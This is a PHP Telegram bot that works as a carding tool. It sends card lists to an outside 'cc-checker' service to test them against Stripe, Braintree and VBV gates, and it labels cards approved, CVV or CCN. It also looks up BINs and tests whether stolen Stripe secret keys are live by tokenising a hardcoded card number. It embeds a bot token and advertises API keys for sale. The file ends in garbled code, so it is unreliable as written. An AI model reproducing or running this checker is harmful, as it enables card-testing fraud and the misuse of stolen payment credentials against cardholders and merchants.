php // $botToken = "7785231939:AAFvfz5BhRLCtUYmduBCtbpqUgpE3MKKnfg"; $website = "https://api.telegram.org/bot" . $botToken; // Error reporting - consider logging instead of suppressing all errors error_reporting(1); // Get and parse the update $update = json_decode(file_get_contents('php://input'), true); // Validate update structure if (!isset($update['message'])) { exit; } // Extract message data with null coalescing for safety $message = $update['message']['text'] ?? ''; $chatId = $update['message']['chat']['id'] ?? ''; $userId = $update['message']['from']['id'] ?? ''; $firstname = $update['message']['from']['first_name'] ?? ''; $username = $update['message']['from']['username'] ?? ''; $message_id = $update['message']['message_id'] ?? ''; $ownerUsername = "@zlaxtert"; // Command routing switch (true) { case startsWith($message, ['!start', '/start']): handleStartCommand($chatId, $message_id); break; case startsWith($message, ['!menu', '/menu']): handleMenuCommand($chatId, $message_id); break; case startsWith($message, ['!info', '/info']): handleInfoCommand($chatId, $userId, $firstname, $username, $message_id); break; case startsWith($message, ['!help', '/help']): handleHelpCommand($chatId, $userId, $message_id); break; case startsWith($message, ['!bin', '/bin']): handleBinCommand($message, $chatId, $username, $message_id); break; case startsWith($message, ['!stripe', '/stripe']): handleStripeCommand($message, $chatId, $message_id); break; case startsWith($message, ['!braintree', '/braintree']): handleBraintreeCommand($message, $chatId, $message_id); break; case startsWith($message, ['!vbv', '/vbv']): handleVbvCommand($message, $chatId, $message_id); break; case startsWith($message, ['!sk', '/sk']): handleSkCommand($message, $chatId, $message_id); break; default: handleUnknownCommand($chatId, $message_id); break; } // Helper Functions function startsWith($haystack, $needles) { foreach ((array)$needles as $needle) { if (strpos($haystack, $needle) === 0) { return true; } } return false; } function sendMessage($chatId, $message, $message_id) { $url = $GLOBALS['website'] . "/sendMessage?chat_id=" . $chatId . "&text=" . $message . "&reply_to_message_id=" . $message_id . "&parse_mode=HTML"; file_get_contents($url); } // Command Handlers function handleUnknownCommand($chatId, $message_id) { $msg = "!! FUCK OFF !! %0A%0A I dont know bruh"; sendMessage($chatId, $msg, $message_id); } function handleStartCommand($chatId, $message_id) { $msg = "Hello there!!%0AType /menu to know all commands!!"; sendMessage($chatId, $msg, $message_id); } function handleMenuCommand($chatId, $message_id) { $msg = " MENU %0A%0A" . "- !info -> for check information %0A" . "- !bin -> for check BIN Card %0A" . "- !stripe -> for check card gate Stripe %0A" . "- !braintree for check card gate Braintree %0A" . "- !vbv -> for check card gate VBV Check %0A" . "- !sk -> for check SK key %0A" . "- !help -> for help information"; sendMessage($chatId, $msg, $message_id); } function handleInfoCommand($chatId, $userId, $firstname, $username, $message_id) { $msg = "ID: $userId%0A" . "First Name: $firstname%0A" . "Username: @$username"; sendMessage($chatId, $msg, $message_id); } function handleHelpCommand($chatId, $userId, $message_id) { global $ownerUsername; $msg = "Hi $userId, %0A To get the apikey for this bot to work, you can buy it from $ownerUsername"; sendMessage($chatId, $msg, $message_id); } function handleBinCommand($message, $chatId, $username, $message_id) { $bin = substr($message, 5, 11); if (empty($bin)) { sendMessage($chatId, "Please provide a BIN after the command", $message_id); return; } $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => 'https://lookup.binlist.net/' . $bin, CURLOPT_USERAGENT => 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1', CURLOPT_HTTPHEADER => [ 'Host: lookup.binlist.net', 'Cookie: _ga=GA1.2.549903363.1545240628; _gid=GA1.2.82939664.1545240628', 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' ], CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1 ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($httpCode == 429) { sendMessage($chatId, "TOO MANY REQUESTS", $message_id); return; } if (strpos($response, '"number":null') !== false || strpos($response, '"number": null') !== false) { sendMessage($chatId, "INVALID BIN $bin ❌", $message_id); return; } $data = json_decode($response, true); if (!$data) { sendMessage($chatId, "Error processing BIN information", $message_id); return; } $scheme = $data['scheme'] ?? 'Unknown'; $brand = $data['brand'] ?? 'Unknown'; $bank = $data['bank']['name'] ?? 'Unknown'; $currency = $data['country']['currency'] ?? 'Unknown'; $country = $data['country']['name'] ?? 'Unknown'; $emoji = $data['country']['emoji'] ?? ''; $type = isset($data['type']) && $data['type'] === 'credit' ? 'Credit card' : 'Debit card'; $msg = 'BIN: ' . $bin . ' 🏧%0A' . 'STATUS: VALID ✅%0A' . 'Bank: ' . $bank . ' 🏛️%0A' . 'Country: ' . $country . '' . $emoji . '%0A' . 'Brand: ' . $brand . ' ⚜️%0A' . 'Card: ' . $scheme . ' 💳%0A' . 'Type: ' . $type . ' 🔰%0A' . 'Currency: ' . $currency . ' 💰%0A' . 'Owner: @' . $username . ' 🏴‍☠️'; sendMessage($chatId, $msg, $message_id); } function handleStripeCommand($message, $chatId, $message_id) { handlePaymentGatewayCommand($message, $chatId, $message_id, 'stripe'); } function handleBraintreeCommand($message, $chatId, $message_id) { handlePaymentGatewayCommand($message, $chatId, $message_id, 'braintree'); } function handleVbvCommand($message, $chatId, $message_id) { handlePaymentGatewayCommand($message, $chatId, $message_id, 'vbv'); } function handlePaymentGatewayCommand($message, $chatId, $message_id, $gateway) { $parts = explode(" ", $message, 3); if (count($parts) < 3 || empty($parts[1]) || empty($parts[2])) { $msg = "INVALID COMMAND ❌%0A%0AFORMAT: /$gateway [cc list] [apikey]"; sendMessage($chatId, $msg, $message_id); return; } $cc = $parts[1]; $apikey = $parts[2]; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => "https://api.darkxcode.site/checker/cc-checkerV4.5/bot_tele/?cc=$cc&gate=$gateway&apikey=$apikey", CURLOPT_FOLLOWLOCATION => 1, CURLOPT_RETURNTRANSFER => 1 ]); $response = curl_exec($ch); $data = json_decode($response, true); curl_close($ch); if (!$data || !isset($data['data']['info'])) { sendMessage($chatId, "Error processing request", $message_id); return; } $info = $data['data']['info']; $iniBIN = $info['bin'] ?? ''; $scheme = strtoupper($info['scheme'] ?? ''); $bank = $info['bank_name'] ?? ''; $brand = strtoupper($info['bank_brand'] ?? ''); $country = $info['country'] ?? ''; $emoji = $info['emoji'] ?? ''; $result = $info['msg'] ?? ''; $status = "UNKNOWN ❌"; $statusMsg = $result; // Define patterns for different statuses $approvedPatterns = [ 'APPROVED', 'SUCCESS', 'APPROV', 'THANK YOU', 'SUCCEEDED', '"cvc_check":"pass"', 'cvc_check', '"type":"one-time"', 'one-time' ]; $passedPatterns = [ 'Authenticate Successful', 'Authenticate Attempt Successful', 'Authenticate Unavailable', 'Authenticate Unable To Authenticate' ]; $cvvPatterns = [ 'transaction_not_allowed', 'Your card zip code is incorrect', 'incorrect_zip', 'authentication_required', 'card_error_authentication_required', 'three_d_secure_redirect' ]; $ccnPatterns = ['incorrect_cvc', 'invalid_cvc', 'insufficient_funds']; foreach ($approvedPatterns as $pattern) { if (strpos($response, $pattern) !== false) { $status = "APPROVED ✅"; break; } } foreach ($passedPatterns as $pattern) { if (strpos($response, $pattern) !== false) { $status = "𝗣𝗮𝘀𝘀𝗲𝗱 ✅"; break; } } foreach ($cvvPatterns as $pattern) { if (strpos($response, $pattern) !== false) { $status = "CVV⚠️"; if ($pattern === 'transaction_not_allowed') { $statusMsg = "TRANSACTION NOT ALLOWED"; } elseif ($pattern === 'authentication_required' || $pattern === 'card_error_authentication_required') { $statusMsg = "AUTHENTICATION REQUIRED"; } elseif ($pattern === 'three_d_secure_redirect') { $statusMsg = "3D Secure"; } break; } } foreach ($ccnPatterns as $pattern) { if (strpos($response, $pattern) !== false) { $status = "CCN⚠️"; if ($pattern === 'incorrect_cvc') { $statusMsg = "INCORRECT CVC"; } elseif ($pattern === 'invalid_cvc') { $statusMsg = "INVALID CVC"; } elseif ($pattern === 'insufficient_funds') { $statusMsg = "INSUFFICIENT FUNDS"; } break; } } if (strpos($response, '"status":"failed"') !== false) { $status = "𝗗𝗲𝗰𝗹𝗶𝗻𝗲𝗱 ❌"; } elseif (strpos($response, 'UNKNOWN RESPONSE!') !== false || empty($scheme)) { $status = "𝗗𝗲𝗰𝗹𝗶𝗻𝗲𝗱 ❌"; $statusMsg = "TOO MANY REQUESTS, PLEASE WAIT A FEW MINUTES"; } $msg = "Status ⇾ $status%0A%0A" . "𝗖𝗖 ⇾ $cc 💳%0A" . "𝗚𝗮𝘁𝗲𝘄𝗮𝘆 ⇾ " . strtoupper($gateway) . "%0A" . "𝗥𝗲𝘀𝘂𝗹𝘁 ⇾ $statusMsg ✉️%0A"; if (!empty($scheme)) { $msg .= "𝗕𝗜𝗡 𝗜𝗻𝗳𝗼: $iniBIN - $scheme - $brand 🏧%0A" . "𝗕𝗮𝗻𝗸: $bank 🏦%0A" . "𝗖𝗼𝘂𝗻𝘁𝗿𝘆: $country $emoji%0A"; } $msg .= "%0A TYPE: VIP CHECK 🔥%0A OWNER: @zlaxtert 🔰"; sendMessage($chatId, $msg, $message_id); } function handleSkCommand($message, $chatId, $message_id) { $sec = substr($message, 4); if (empty($sec)) { sendMessage($chatId, "Please provide a Stripe key after the command", $message_id); return; } $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => 'https://api.stripe.com/v1/tokens', CURLOPT_RETURNTRANSFER => 1, CURLOPT_POSTFIELDS => "card[number]=5154620061414478&card[exp_month]=01&card[exp_year]=2030&card[cvc]=235", CURLOPT_USERPWD => $sec . ':', CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded'] ]); $result = curl_exec($ch); curl_close($ch); if (strpos($result, 'api_key_expired')) { $msg = "❌ DEAD KEY%0AKEY: $sec%0AREASON: EXPIRED KEY"; } elseif (strpos($result, 'Invalid API Key provided')) { $msg = "❌ DEAD KEY%0AKEY: $sec%0AREASON: INVALID KEY"; } elseif (strpos($result, 'testmode_charges_only') || strpos($result, 'test_mode_live_card')) { $msg = "❌ DEAD KEY%0AKEY: $sec%0AREASON: Testmode Charges Only"; } else { $msg = "✅ LIVE KEY%0AKEY: $sec%0ARESPONSE: SK LIVE!!"; }g, $message_id); }